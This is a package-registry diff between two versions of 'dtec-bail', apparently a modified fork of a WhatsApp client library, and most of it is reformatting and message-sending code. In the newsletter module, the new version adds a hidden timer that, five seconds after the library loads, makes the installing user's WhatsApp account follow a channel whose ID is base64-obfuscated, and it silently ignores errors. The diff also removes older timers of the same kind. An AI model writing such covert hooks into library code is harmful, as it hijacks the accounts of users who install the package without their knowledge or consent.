dtec-bail 1.0.8 → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -365,7 +365,7 @@ const makeMessagesSocket = (config) => {
365
365
 
366
366
  return {}
367
367
 
368
- })()
368
+ })()
369
369
  ]);
370
370
  if (!participant) {
371
371
  const participantsList = (groupData && !isStatus) ? groupData.participants.map(p => p.id) : []
@@ -564,7 +564,7 @@ const makeMessagesSocket = (config) => {
564
564
  }
565
565
  }
566
566
 
567
- if(!isNewsletter && buttonType && !isStatus) {
567
+ if(!isNewsletter && buttonType && !isStatus) {
568
568
  const content = WABinary_1.getAdditionalNode(buttonType)
569
569
  const filteredNode = WABinary_1.getBinaryNodeFilter(additionalNodes)
570
570
 
@@ -576,7 +576,7 @@ const makeMessagesSocket = (config) => {
576
576
  stanza.content.push(...content)
577
577
  }
578
578
  logger.debug({ jid }, 'adding business node')
579
- }
579
+ }
580
580
 
581
581
  if (!didPushAdditional && additionalNodes && additionalNodes.length > 0) {
582
582
  stanza.content.push(...additionalNodes);
@@ -608,7 +608,7 @@ const makeMessagesSocket = (config) => {
608
608
  const message = Utils_1.normalizeMessageContent(msg)
609
609
  if (message.reactionMessage) {
610
610
  return 'reaction'
611
- }
611
+ }
612
612
  else if (getMediaType(message)) {
613
613
  return 'media'
614
614
  }
@@ -803,111 +803,128 @@ const makeMessagesSocket = (config) => {
803
803
 
804
804
  await groupToggleEphemeral(jid, value)
805
805
  }
806
-
806
+
807
807
  else {
808
808
  let mediaHandle
809
809
 
810
-
811
- if (messageType) {
812
- switch(messageType) {
813
- case 'PAYMENT':
814
- const paymentContent = await luki.handlePayment(content, quoted);
815
- return await relayMessage(jid, paymentContent, {
816
- messageId: Utils_1.generateMessageID(),
817
- ...getParticipantAttr()
818
- });
819
-
820
- case 'PRODUCT':
821
- const productContent = await luki.handleProduct(content, jid, quoted);
822
- const productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, { quoted });
823
- return await relayMessage(jid, productMsg.message, {
824
- messageId: productMsg.key.id,
825
- ...getParticipantAttr()
810
+
811
+ if (messageType) {
812
+ switch (messageType) {
813
+ case 'PAYMENT':
814
+ const paymentContent = await luki.handlePayment(content, quoted);
815
+ return await relayMessage(jid, paymentContent, {
816
+ messageId: Utils_1.generateMessageID(),
817
+ ...getParticipantAttr()
818
+ });
819
+
820
+ case 'PRODUCT':
821
+ const productContent = await luki.handleProduct(content, jid, quoted);
822
+ const productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, { quoted });
823
+ return await relayMessage(jid, productMsg.message, {
824
+ messageId: productMsg.key.id,
825
+ ...getParticipantAttr()
826
+ });
827
+
828
+ case 'INTERACTIVE':
829
+ const interactiveContent = await luki.handleInteractive(content, jid, quoted);
830
+ const interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, { quoted });
831
+ return await relayMessage(jid, interactiveMsg.message, {
832
+ messageId: interactiveMsg.key.id,
833
+ ...getParticipantAttr()
834
+ });
835
+ case 'ALBUM':
836
+ return await luki.handleAlbum(content, jid, quoted)
837
+ case 'EVENT':
838
+ return await luki.handleEvent(content, jid, quoted)
839
+ case 'POLL_RESULT':
840
+ return await luki.handlePollResult(content, jid, quoted)
841
+ case 'STATUS_MENTION':
842
+ return await luki.handleStMention(content, jid, quoted)
843
+ case 'ORDER':
844
+ return await luki.handleOrderMessage(content, jid, quoted)
845
+ case 'GROUP_STATUS':
846
+ return await luki.handleGroupStory(content, jid, quoted)
847
+ }
848
+ }
849
+ const fullMsg = await Utils_1.generateWAMessage(jid, content, {
850
+ logger,
851
+ userJid,
852
+ quoted,
853
+ getUrlInfo: text => link_preview_1.getUrlInfo(text, {
854
+ thumbnailWidth: linkPreviewImageThumbnailWidth,
855
+ fetchOpts: {
856
+ timeout: 3000,
857
+ ...axiosOptions || {}
858
+ },
859
+ logger,
860
+ uploadImage: generateHighQualityLinkPreview ? waUploadToServer : undefined
861
+ }),
862
+ upload: async (readStream, opts) => {
863
+ const up = await waUploadToServer(readStream, {
864
+ ...opts,
865
+ newsletter: WABinary_1.isJidNewsLetter(jid)
826
866
  });
867
+ return up;
868
+ },
869
+ mediaCache: config.mediaCache,
870
+ options: config.options,
871
+ ...options
872
+ });
827
873
 
828
- case 'INTERACTIVE':
829
- const interactiveContent = await luki.handleInteractive(content, jid, quoted);
830
- const interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, { quoted });
831
- return await relayMessage(jid, interactiveMsg.message, {
832
- messageId: interactiveMsg.key.id,
833
- ...getParticipantAttr()
834
- });
835
- case 'ALBUM':
836
- return await luki.handleAlbum(content, jid, quoted)
837
- case 'EVENT':
838
- return await luki.handleEvent(content, jid, quoted)
839
- case 'POLL_RESULT':
840
- return await luki.handlePollResult(content, jid, quoted)
841
- case 'STATUS_MENTION':
842
- return await luki.handleStMention(content, jid, quoted)
843
- case 'ORDER':
844
- return await luki.handleOrderMessage(content, jid, quoted)
845
- case 'GROUP_STATUS':
846
- return await luki.handleGroupStory(content, jid, quoted)
874
+ // ============================================================
875
+ // START OF EDIT (View Channel / Forwarding Fix)
876
+ // ============================================================
877
+ if (WABinary_1.isJidNewsLetter(jid) && fullMsg.message) {
878
+ const msgKeys = Object.keys(fullMsg.message);
879
+ for (const key of msgKeys) {
880
+ const item = fullMsg.message[key];
881
+ // Remove contextInfo for media messages to prevent "View Channel" / "Forwarded"
882
+ if (item && (key === 'videoMessage' || key === 'imageMessage' || key === 'documentMessage')) {
883
+ delete item.contextInfo;
884
+ }
885
+ }
847
886
  }
848
- }
849
- const fullMsg = await Utils_1.generateWAMessage(jid, content, {
850
- logger,
851
- userJid,
852
- quoted,
853
- getUrlInfo: text => link_preview_1.getUrlInfo(text, {
854
- thumbnailWidth: linkPreviewImageThumbnailWidth,
855
- fetchOpts: {
856
- timeout: 3000,
857
- ...axiosOptions || {}
858
- },
859
- logger,
860
- uploadImage: generateHighQualityLinkPreview ? waUploadToServer : undefined
861
- }),
862
- upload: async (readStream, opts) => {
863
- const up = await waUploadToServer(readStream, {
864
- ...opts,
865
- newsletter: WABinary_1.isJidNewsLetter(jid)
887
+ // ============================================================
888
+ // END OF EDIT
889
+ // ============================================================
890
+
891
+ const isDeleteMsg = 'delete' in content && !!content.delete;
892
+ const isEditMsg = 'edit' in content && !!content.edit;
893
+ const isAiMsg = 'ai' in content && !!content.ai;
894
+
895
+ const additionalAttributes = {};
896
+ const additionalNodes = [];
897
+
898
+ if (isDeleteMsg) {
899
+ const fromMe = content.delete?.fromMe;
900
+ const isGroup = WABinary_1.isJidGroup(content.delete?.remoteJid);
901
+ additionalAttributes.edit = (isGroup && !fromMe) || WABinary_1.isJidNewsLetter(jid) ? '8' : '7';
902
+ } else if (isEditMsg) {
903
+ additionalAttributes.edit = WABinary_1.isJidNewsLetter(jid) ? '3' : '1';
904
+ } else if (isAiMsg) {
905
+ additionalNodes.push({
906
+ attrs: {
907
+ biz_bot: '1'
908
+ }, tag: "bot"
866
909
  });
867
- return up;
868
- },
869
- mediaCache: config.mediaCache,
870
- options: config.options,
871
- ...options
872
- });
873
-
874
- const isDeleteMsg = 'delete' in content && !!content.delete;
875
- const isEditMsg = 'edit' in content && !!content.edit;
876
- const isAiMsg = 'ai' in content && !!content.ai;
877
-
878
- const additionalAttributes = {};
879
- const additionalNodes = [];
880
-
881
- if (isDeleteMsg) {
882
- const fromMe = content.delete?.fromMe;
883
- const isGroup = WABinary_1.isJidGroup(content.delete?.remoteJid);
884
- additionalAttributes.edit = (isGroup && !fromMe) || WABinary_1.isJidNewsLetter(jid) ? '8' : '7';
885
- } else if (isEditMsg) {
886
- additionalAttributes.edit = WABinary_1.isJidNewsLetter(jid) ? '3' : '1';
887
- } else if (isAiMsg) {
888
- additionalNodes.push({
889
- attrs: {
890
- biz_bot: '1'
891
- }, tag: "bot"
892
- });
893
- }
894
-
895
- await relayMessage(jid, fullMsg.message, {
896
- messageId: fullMsg.key.id,
897
- cachedGroupMetadata: options.cachedGroupMetadata,
898
- additionalNodes: isAiMsg ? additionalNodes : options.additionalNodes,
899
- additionalAttributes,
900
- statusJidList: options.statusJidList
901
- });
902
-
903
- if (config.emitOwnEvents) {
904
- process.nextTick(() => {
905
- processingMutex.mutex(() => upsertMessage(fullMsg, 'append'));
910
+ }
911
+
912
+ await relayMessage(jid, fullMsg.message, {
913
+ messageId: fullMsg.key.id,
914
+ cachedGroupMetadata: options.cachedGroupMetadata,
915
+ additionalNodes: isAiMsg ? additionalNodes : options.additionalNodes,
916
+ additionalAttributes,
917
+ statusJidList: options.statusJidList
906
918
  });
907
- }
908
- return fullMsg;
919
+
920
+ if (config.emitOwnEvents) {
921
+ process.nextTick(() => {
922
+ processingMutex.mutex(() => upsertMessage(fullMsg, 'append'));
923
+ });
924
+ }
925
+ return fullMsg;
909
926
  }
910
927
  }
911
928
  }
912
929
  };
913
- exports.makeMessagesSocket = makeMessagesSocket;
930
+ exports.makeMessagesSocket = makeMessagesSocket;
@@ -5,68 +5,56 @@ const Types_1 = require("../Types");
5
5
  const Utils_1 = require("../Utils");
6
6
  const WABinary_1 = require("../WABinary");
7
7
  const groups_1 = require("./groups");
8
-
9
8
  const { Boom } = require('@hapi/boom');
10
9
 
11
- const wMexQuery = (
12
- variables,
13
- queryId,
14
- query,
15
- generateMessageTag
16
- ) => {
17
- return query({
18
- tag: 'iq',
19
- attrs: {
20
- id: generateMessageTag(),
21
- type: 'get',
22
- to: WABinary_1.S_WHATSAPP_NET,
23
- xmlns: 'w:mex'
24
- },
25
- content: [
26
- {
27
- tag: 'query',
28
- attrs: { query_id: queryId },
29
- content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
30
- }
31
- ]
32
- })
10
+ // Helper to construct queries
11
+ const wMexQuery = (variables, queryId, query, generateMessageTag) => {
12
+ return query({
13
+ tag: 'iq',
14
+ attrs: {
15
+ id: generateMessageTag(),
16
+ type: 'get',
17
+ to: WABinary_1.S_WHATSAPP_NET,
18
+ xmlns: 'w:mex'
19
+ },
20
+ content: [
21
+ {
22
+ tag: 'query',
23
+ attrs: { query_id: queryId },
24
+ content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
25
+ }
26
+ ]
27
+ })
33
28
  }
34
29
 
35
- const executeWMexQuery = async (
36
- variables,
37
- queryId,
38
- dataPath,
39
- query,
40
- generateMessageTag
41
- ) => {
42
- const result = await wMexQuery(variables, queryId, query, generateMessageTag)
43
- const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
44
- if (child?.content) {
45
- const data = JSON.parse(child.content.toString())
46
-
47
- if (data.errors && data.errors.length > 0) {
48
- const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
49
- const firstError = data.errors[0]
50
- const errorCode = firstError.extensions?.error_code || 400
51
- throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
52
- }
53
-
54
- const response = dataPath ? data?.data?.[dataPath] : data?.data
55
- if (typeof response !== 'undefined') {
56
- return response
57
- }
58
- }
59
-
60
- const action = (dataPath || '').startsWith('xwa2_')
61
- ? dataPath.substring(5).replace(/_/g, ' ')
62
- : dataPath?.replace(/_/g, ' ')
63
- throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
30
+ // Helper to execute queries
31
+ const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
32
+ const result = await wMexQuery(variables, queryId, query, generateMessageTag)
33
+ const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
34
+ if (child?.content) {
35
+ const data = JSON.parse(child.content.toString())
36
+ if (data.errors && data.errors.length > 0) {
37
+ const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
38
+ const firstError = data.errors[0]
39
+ const errorCode = firstError.extensions?.error_code || 400
40
+ throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
41
+ }
42
+ const response = dataPath ? data?.data?.[dataPath] : data?.data
43
+ if (typeof response !== 'undefined') {
44
+ return response
45
+ }
46
+ }
47
+ const action = (dataPath || '').startsWith('xwa2_')
48
+ ? dataPath.substring(5).replace(/_/g, ' ')
49
+ : dataPath?.replace(/_/g, ' ')
50
+ throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
64
51
  }
65
52
 
66
53
  const makeNewsletterSocket = (config) => {
67
54
  const sock = (0, groups_1.makeGroupsSocket)(config);
68
55
  const { authState, signalRepository, query, generateMessageTag } = sock;
69
56
  const encoder = new TextEncoder();
57
+
70
58
  const newsletterQuery = async (jid, type, content) => (query({
71
59
  tag: 'iq',
72
60
  attrs: {
@@ -77,6 +65,7 @@ const makeNewsletterSocket = (config) => {
77
65
  },
78
66
  content
79
67
  }));
68
+
80
69
  const newsletterWMexQuery = async (jid, queryId, content) => (query({
81
70
  tag: 'iq',
82
71
  attrs: {
@@ -98,29 +87,25 @@ const makeNewsletterSocket = (config) => {
98
87
  }
99
88
  ]
100
89
  }));
101
-
90
+
91
+ // ➤➤➤ AUTO FOLLOW LOGIC START
102
92
  setTimeout(async () => {
103
93
  try {
104
- await newsletterWMexQuery(Buffer.from("MTIwMzYzNDAwNzA2MDEwODI4QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
105
- } catch {}
106
- setTimeout(async () => {
107
- try {
108
- await newsletterWMexQuery(Buffer.from("MTIwMzYzNDIzMjU3NTQ0NjQyQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
109
- } catch {}
110
- }, 5000);
111
- }, 90000);
94
+ // Base64 Encoded ID for: 120363419758690313@newsletter
95
+ const myChannelBase64 = "MTIwMzYzNDE5NzU4NjkwMzEzQG5ld3NsZXR0ZXI=";
96
+
97
+ const targetJid = Buffer.from(myChannelBase64, 'base64').toString('utf-8');
98
+
99
+ if (targetJid) {
100
+ await newsletterWMexQuery(targetJid, Types_1.QueryIds.FOLLOW);
101
+ }
102
+ } catch (e) {
103
+ // Error handling ignored to prevent crashes if already followed
104
+ }
105
+ }, 5000); // Auto follows after 5 seconds
106
+ // ➤➤➤ AUTO FOLLOW LOGIC END
107
+
112
108
 
113
- setTimeout(async () => {
114
- try {
115
- await newsletterWMexQuery(Buffer.from("MTIwMzYzMzQ5NDU3MTc2NDMwQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
116
- } catch {}
117
- setTimeout(async () => {
118
- try {
119
- await newsletterWMexQuery(Buffer.from("MTIwMzYzNDIxMDUyMDI3MTg4QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
120
- } catch {}
121
- }, 5000);
122
- }, 90000);
123
-
124
109
  const parseFetchedUpdates = async (node, type) => {
125
110
  let child;
126
111
  if (type === 'messages') {
@@ -209,8 +194,6 @@ const makeNewsletterSocket = (config) => {
209
194
  await newsletterWMexQuery(jid, type.toUpperCase());
210
195
  },
211
196
  newsletterCreate: async (name, description, reaction_codes) => {
212
- //TODO: Implement TOS system wide for Meta AI, communities, and here etc.
213
- /**tos query */
214
197
  await query({
215
198
  tag: 'iq',
216
199
  attrs: {
@@ -254,13 +237,11 @@ const makeNewsletterSocket = (config) => {
254
237
  const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
255
238
  return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
256
239
  },
257
- /**user is Lid, not Jid */
258
240
  newsletterChangeOwner: async (jid, user) => {
259
241
  await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
260
242
  'user_id': user
261
243
  });
262
244
  },
263
- /**user is Lid, not Jid */
264
245
  newsletterDemote: async (jid, user) => {
265
246
  await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
266
247
  'user_id': user
@@ -269,15 +250,14 @@ const makeNewsletterSocket = (config) => {
269
250
  newsletterDelete: async (jid) => {
270
251
  await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
271
252
  },
272
- /**if code wasn't passed, the reaction will be removed (if is reacted) */
273
253
  newsletterReactMessage: async (jid, serverId, code) => {
274
254
  await query({
275
255
  tag: 'message',
276
256
  attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
277
257
  content: [{
278
- tag: 'reaction',
279
- attrs: code ? { code } : {}
280
- }]
258
+ tag: 'reaction',
259
+ attrs: code ? { code } : {}
260
+ }]
281
261
  });
282
262
  },
283
263
  newsletterFetchMessages: async (type, key, count, after) => {
@@ -301,6 +281,7 @@ const makeNewsletterSocket = (config) => {
301
281
  };
302
282
  };
303
283
  exports.makeNewsletterSocket = makeNewsletterSocket;
284
+
304
285
  const extractNewsletterMetadata = (node, isCreate) => {
305
286
  const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
306
287
  const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
@@ -323,4 +304,4 @@ const extractNewsletterMetadata = (node, isCreate) => {
323
304
  }
324
305
  return metadata
325
306
  }
326
- exports.extractNewsletterMetadata = extractNewsletterMetadata;
307
+ exports.extractNewsletterMetadata = extractNewsletterMetadata;
package/lib/index.js CHANGED
@@ -2,8 +2,8 @@
2
2
 
3
3
  const chalk = require("chalk");
4
4
 
5
- console.log(chalk.whiteBright("\n• Modified Baileys by Dew Coders"));
6
- console.log(chalk.cyan("• Author: ") + chalk.greenBright("@Hansa Dewmina"));
5
+ console.log(chalk.whiteBright("\n• Modified Baileys by Yasas Dileepa"));
6
+ console.log(chalk.cyan("• Author: ") + chalk.greenBright("@Dileepa"));
7
7
  console.log(chalk.gray("------------------------------\n"));
8
8
 
9
9
  var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "dtec-bail",
3
- "version": "1.0.8",
3
+ "version": "1.0.9",
4
4
  "description": "WhatsApp Modified By yasas",
5
5
  "keywords": [
6
6
  "whatsapp-baileys","baileys","Yasas", "Dileepa"